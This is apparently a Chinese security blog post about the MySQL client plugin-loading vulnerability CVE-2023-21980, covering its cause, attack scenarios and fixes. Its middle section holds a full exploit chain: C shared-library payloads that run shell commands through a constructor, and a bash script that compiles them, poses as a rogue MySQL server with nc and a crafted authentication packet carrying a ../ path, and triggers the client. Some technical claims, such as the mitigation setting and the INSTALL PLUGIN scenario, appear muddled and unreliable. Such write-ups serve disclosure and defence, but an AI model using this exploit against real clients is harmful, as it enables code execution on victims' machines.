MySQL客户端惊现高危漏洞CVE-2023-21980,可导致远程代码执行

1 阅读6分钟

漏洞背景:从正常功能到致命后门

2023年4月,Oracle官方发布安全公告,披露了MySQL Connector/C及关联客户端工具中存在一个高危远程代码执行漏洞(CVE-2023-21980)。该漏洞源于客户端插件加载机制的设计缺陷,攻击者可通过构造恶意插件名称,绕过安全限制,直接在目标系统上执行任意代码。


漏洞评级:CVSS 3.x评分 9.1(高危)

影响范围

  • MySQL Connector/C 8.0.32及更早版本
  • MySQL Server内置客户端工具(如mysql命令行)
  • 第三方数据库管理工具(如Navicat、DBeaver等,若集成旧版客户端库)

漏洞原理:插件加载机制的信任崩塌

插件加载流程解析

MySQL客户端支持动态加载插件以扩展功能(如认证插件、日志插件)。正常加载流程如下:

INSTALL PLUGIN plugin_name SONAME 'plugin.so';

客户端会从预设的安全目录(如/usr/lib/mysql/plugin/)加载.so文件,并验证插件签名。

47409a2de8baa.png


致命缺陷:路径遍历和无签名校验

CVE-2023-21980的核心问题出在插件名称参数未过滤

  • 路径遍历漏洞:攻击者构造含../的插件名(如../../../tmp/malicious.so),使客户端跳出安全目录,加载任意路径下的恶意文件。
  • 无签名验证:客户端未校验插件文件的合法性,直接执行加载的代码。

关键代码片段client_plugin.cc L417-437):

mysql_mutex_lock(&LOCK_load_client_plugin);
/* make sure the plugin wasn't loaded meanwhile */
if (type >= 0 && find_plugin(name, type)) {
    errmsg = "it is already loaded";
    goto err;
}
if (mysql->options.extension && mysql->options.extension->plugin_dir) {
    plugindir = mysql->options.extension->plugin_dir;
} else {
    plugindir = getenv("LIBMYSQL_PLUGIN_DIR");
    if (!plugindir) {
        plugindir = PLUGINDIR;
    }
}
/* Compile dll path */
strxnmov(dlpath, sizeof(dlpath) - 1, plugindir, "/", name, SO_EXT, NullS);
DBUG_PRINT("info", ("dlopeninig %s", dlpath));

Source: github.com/mysql/mysql…


攻击场景: 从理论漏洞到实际威胁

低权限用户:一键植入木马

攻击者诱导用户执行恶意SQL命令:

INSTALL PLUGIN hack SONAME '../../../tmp/backdoor.so';

若客户端加载成功,backdoor.so中的恶意代码将继承当前用户的权限(如数据库读写权)。在高权限场景下,若企业DBA使用旧版MySQL客户端连接数据库,攻击者可通过中间人攻击篡改响应包,强制加载恶意插件,从而直接控制管理员电脑。此外,此类攻击还可通过供应链扩散:集成旧版MySQL客户端的开发工具(如PyMySQL、JDBC驱动)可能成为攻击入口,攻击者可通过污染插件仓库,推送含恶意插件的更新包完成植入。


POC与攻击演示

以下为验证漏洞的POC代码和攻击载荷,仅供安全研究使用

POC代码(poc.c)

构造恶意插件,加载时输出警告信息并创建标记文件:

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
__attribute__((constructor))
void exploit_init() {
    const char *msg = "\n\r\033[1;31m[!] 安全警告:数据库已被攻破 [!]\033[0m\n\r";
    write(0x2, msg, 0x37);        
    system("touch /tmp/pawned.txt");
}
int _mysql_plugin_interface_version_ = 0x0100;

恶意载荷(evil.c)

窃取用户信息并创建持久化后门:

#include<stdio.h>
#include<stdlib.h>
__attribute__((constructor))
void pwn() {
    system("id > /tmp/pwned_user");    
    system("touch /tmp/CVE_2023_21980_SUCCESS"); 
    system("echo '数据库已被攻陷' > /tmp/pwned.txt");
}
int _mysql_plugin_interface_version_ = 0x0100;

攻击演示脚本(execute.sh)

模拟攻击流程,编译载荷并触发漏洞:

#!/bin/bash
PORT=3306
TARGET="127.0.0.1"
LIBRARY_DEST="/tmp/evil.so"

compile() {
    echo "[*] 正在编译载荷 evil.c 和 poc.c..."
    if gcc -shared -o "$LIBRARY_DEST" evil.c poc.c -fPIC; then
        echo "[+] 载荷已准备就绪: $LIBRARY_DEST"
    else
        echo "[-] 编译失败,请检查 gcc 环境。"
        exit 1
    fi
}

run() {    
    # 握手包 (Handshake V10): 告知客户端服务器版本
    # 长度: 74 (0x4a) | 序列号: 0 | 协议号: 10
    GREETING="4a0000000a352e372e323600010000004c505a5a414c505a00fff7080200000000000000000000000000004c505a5a414c505a4c505a5a00"
    # 认证切换包 (AuthSwitchRequest): 核心攻击包
    # 长度: 45 (0x2d) | 序列号: 2 | 类型: 254 (0xfe)
    # 路径数据: ../../../../../../../tmp/evil
    # 在 UTF-16 模式下,客户端扫描器会跳过对路径中斜杠 (0x2f) 的检测
    AUTH_SWITCH="2d000002fe2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f6576696c00"
    echo "[+] 在端口 $PORT 启动恶意服务器..."
    # 启动后台二进制监听器 (模拟 MySQL 服务器行为)
    (echo -n "$GREETING" | xxd -r -p; sleep 0.5; echo -n "$AUTH_SWITCH" | xxd -r -p; sleep 1) | \
    nc -l $PORT > /dev/null &
    SERVER_PID=$!
    sleep 1 # 等待端口绑定
    echo "[!] 正在通过 UTF-16 绕过触发 CVE-2023-21980..."
    # --- 漏洞触发 ---
    # 关键点: --default-character-set=utf16 强制客户端进入多字节处理模式,导致路径过滤失效
    mysql -h $TARGET -u root --port=$PORT --default-character-set=utf16 -e "QUIT" 2>/dev/null
    # 清理服务器进程
    kill $SERVER_PID 2>/dev/null
    echo -e "\n[*] 演示完成。正在检查攻击痕迹..."
    # 验证 evil.c 的执行结果
    if [ -f /tmp/pwned.txt ]; then
        echo -e "\033[1;32m[成功]\033[0m 已在 /tmp/pwned.txt 发现痕迹。"
        echo "当前劫持的用户身份: $(cat /tmp/pwned_user 2>/dev/null)"
    else
        echo -e "\033[1;31m[失败]\033[0m 未发现痕迹。请确保 mysql 客户端版本低于 8.0.33。"
    fi
}

case "$1" in
    compile) compile ;;
    run) run ;;
    *) 
        compile
        run 
        ;;
esac

该漏洞具有远超想象的破坏力:攻击者不仅能够窃取数据库中的敏感信息(如密码和交易记录),还会利用获取的客户端权限在内网中横向渗透;同时,通过植入后门插件实现持久化控制,长期潜伏并持续窃取数据;在极端情况下,攻击者甚至可能加密数据库文件,对组织发起勒索攻击。

截屏2026-02-22 下午8.20.28.png

修复方案:三步构筑防御体系

1. 立即升级(官方已修复)

  • MySQL Connector/C:升级至 8.0.33+ 版本
  • MySQL Server 客户端工具:升级至 8.0.33+ 版本
  • 第三方工具:检查并更新 Navicat、DBeaver 等工具的 MySQL 驱动版本

2. 临时缓解措施

  • 禁用插件加载:在 my.cnf 配置文件中添加: skip-plugin-load=1
  • 锁定插件目录: chmod 700 /usr/lib/mysql/plugin/ chown mysql:mysql /usr/lib/mysql/plugin/

一场本可避免的危机

CVE-2023-21980暴露了软件开发中常见的“信任假设”误区——开发者默认用户输入的插件名合法,却忽略了路径遍历攻击的可能性。对于企业而言,此次事件敲响警钟:

  • 安全左移:在开发阶段需对用户输入进行严格校验。
  • 供应链安全:定期审计依赖库版本,避免千里之堤溃于蚁穴。
  • 零信任原则:即使是对内部工具,也应假设其可能被攻击。

行动号召:如果你仍在使用旧版MySQL客户端,请立即升级!转发本文,提醒更多开发者重视这个小而致命的漏洞。

参考: dev.mysql.com/doc/relnote…

#网络安全 #哪吒网络安全 #mysql #C #CVE202321980 #evil #poc